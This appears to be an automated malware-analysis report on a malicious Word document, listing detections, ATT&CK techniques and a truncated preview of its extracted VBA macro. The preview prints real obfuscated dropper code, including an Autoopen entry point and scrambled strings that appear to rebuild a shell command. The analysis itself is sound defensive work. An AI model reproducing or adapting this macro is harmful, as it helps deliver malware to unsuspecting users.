MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This subroutine utilizes a Shell() call, indicating an intent to execute external commands, likely to download and execute a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly suggests a macro-based downloader attack vector.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6547177-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6547177-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 175859 bytes |
SHA-256: 9020616da277af5179e6418030cef34def4bb9902d187940f99719699740a778 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "amhXlZwD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ffwRV(XFqhwj)
MdERf = tQKqRE
ZlWGbk = (Hriju / XYmZO / 34348 / Fix(injdiT)) + 22890 - CLng(nVphMd + CLng(33896)) + ijGNQH + 40139 * UWKaVd - CStr(69742) / zVNlEs / CLng(IYdTWp)
End Sub
Sub irGlE(HESWSi)
HJlUJ = MhrQfi
Gwomow = (SoSUj / tUuCq / 36971 / Fix(kUznJ)) + 17896 - CLng(dUrbaD + CLng(27061)) + JPjhTZ + 82452 * qRkkr - CStr(83870) / oZMMFl / CLng(BdfNfz)
rtfLJL = WJzwtB
VYZtl = (CCNrIz / NDCGt / 87110 / Fix(zXFYh)) + 62203 - CLng(SQNPM + CLng(69422)) + jEGUtQ + 90104 * jnDLAR - CStr(36825) / tDzjI / CLng(TBLFZk)
AcvNTh = wlAdaK
RUWfqz = (TLMDh / kEJnqK / 6434 / Fix(LIwhjU)) + 19725 - CLng(DWFwF + CLng(4609)) + pajkbj + 31785 * KlzOrc - CStr(23620) / PHMFMX / CLng(GfzMIq)
End Sub
Sub jciYTN(abwvZ)
vkFSfq = prtwUR
dFcUHs = (CWjTI / jpfNKm / 68992 / Fix(VZjjR)) + 11936 - CLng(sjlDC + CLng(72889)) + Uzinjc + 86151 * ZzWsD - CStr(99806) / fmhhY / CLng(jvnpm)
KmuPG = CVjjX
HKHzj = (ZCIjE / WUMVnD / 82003 / Fix(uYicik)) + 29463 - CLng(AiiwOb + CLng(49638)) + AhOcQ + 69000 * divtmz - CStr(63978) / dsZLjb / CLng(UwvtBi)
End Sub
Sub Autoopen()
On Error Resume Next
Hkuuw = GoNhK
Etjrcj = (wBDpQ / nVMShW / 65546 / Fix(baLwr)) + 3165 - CLng(bpisB + CLng(12921)) + lkFSN + 65990 * AEviEK - CStr(99184) / VjLcLc / CLng(YskiH)
LAjWwOwczp (LYzPj + ARjmSIwAABC + kcNOI)
jbWPUn = MiTwjY
uSMMhj = (MofwPU / PRHRDc / 53194 / Fix(wIYzn)) + 89802 - CLng(sZQqoV + CLng(33684)) + BhYYX + 73737 * RFSwzQ - CStr(22760) / dvTsWD / CLng(kvjawF)
End Sub
Sub YjYzBG(iDEPFq)
irzVj = muUdvL
zcszp = (jjmXzP / zzrOd / 32534 / Fix(VFEiE)) + 31655 - CLng(vdLvC + CLng(79960)) + mBLHZU + 13427 * sUwGbu - CStr(75842) / Fziwr / CLng(YJsZXo)
abwZK = zjHDw
jMjkz = (THbGwY / CucBOA / 93680 / Fix(jStCj)) + 31314 - CLng(pWwvhs + CLng(14990)) + pZvjEh + 53411 * fXjIQ - CStr(41075) / sDznAu / CLng(iQYjSE)
AqzvP = cTQslH
NizITU = (FshFHk / riLUOX / 23088 / Fix(hlNAhC)) + 48688 - CLng(HCswcE + CLng(36314)) + QwNCH + 17517 * nfpkoF - CStr(45847) / kmiwM / CLng(SmpjFa)
End Sub
Sub OoVnL(DQJJXY)
ZVsRkh = jIJtHG
wLXVB = (pYqTzc / UFacL / 47519 / Fix(VztXv)) + 47593 - CLng(WGicjF + CLng(47205)) + FloWp + 6067 * iZTIV - CStr(30322) / hjiinA / CLng(SAacs)
End Sub
Attribute VB_Name = "RLqRXmOAo"
Sub pjQUTT(nCavZ)
tzSYFm = NtwjjS
CljBas = (twXjjw / nZSXsO / 93931 / Fix(FOINC)) + 51130 - CLng(njkBlC + CLng(3442)) + YVjFA + 97433 * sYopaT - CStr(57560) / rElhj / CLng(sNqRz)
End Sub
Function ARjmSIwAABC()
On Error Resume Next
qvfNt = GtCMIv
KWkYM = (cJUtzz / VwjIq / 76183 / Fix(nEwtb)) + 92519 - CLng(NkJivq + CLng(23763)) + wIodS + 39609 * WBiNZ - CStr(30266) / NuWUs / CLng(GZrwQK)
sfjiQ = oMDJs
AhDRT = (miutKc / FQjWVs / 98253 / Fix(XupfL)) + 69138 - CLng(YOanl + CLng(38491)) + zMFtAa + 47667 * zVEDK - CStr(5765) / qiQtI / CLng(nNmHwQ)
jVjoDJw = FBSTu("MfIK3AHc[]GNirTS[,'Zd4'(EcalpEr.)')LH4LH4NIOJ-LH4XLH4+]3,1[)eCNErEFerPEsObrEVZd4]GNIRts[( (. ui", 15657 + 2 - 15657, 15657 + 89 - 15657)
jSWqK = RXRbs
jCvUa = (YTTXr / sLLLw / 35420 / Fix(CKOojw)) + 26539 - CLng(ulhZHY + CLng(40645)) + brtLz + 48364 * rIazwz - CStr(8827) / YwqqN / CLng(OOVMP)
nfWtoi = VHEiU
BOHMa = (WkLfwv / kCiBjL / 85450 / Fix(JqRIp)) + 79587 - CLng(vIdsV + CLng(65074)) + nalsk + 88413 * cAZwD - CStr(96168) / qFYTc / CLng(rXpDkw)
GdAiYnfr = FBSTu("jmbCDAhTD", 57801 + 5 - 57801, 57801 + 2 - 57801)
pDBDZ = iPEPo
wKhqrK = (rzECFZ / FOQkhH / 77180 / Fix(YZzWYA)) + 38115 - CLng(mqksdR + CLng(19792)) + wtwFRk + 708 * dfzPwT - CStr(64701) / mTlIrV / CLng(lXCSMV)
BwPiO = SjHUK
IUVMd = (GbwJh / paaMo / 77297 / Fix(BYjsLQ)) + 31910 - CLng(rDBWbT + CLng(82883)) + LQCAzz + 15418 * sQBoo - CStr(64676) / uTtJd / CLng(cKwMP)
WuijmAsJFfD = FBSTu("MBicQRAHC[]GNirTs[,)021]R'+'AHC[+121]RAHC[+87]RAHC[((ecalPEr.)93]RAH'+'C[]GNirTs[,L'+'H4uvBLH4(es", 64528 + 2 - 64528, 64528 + 91 - 64528)
XwnGu =
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.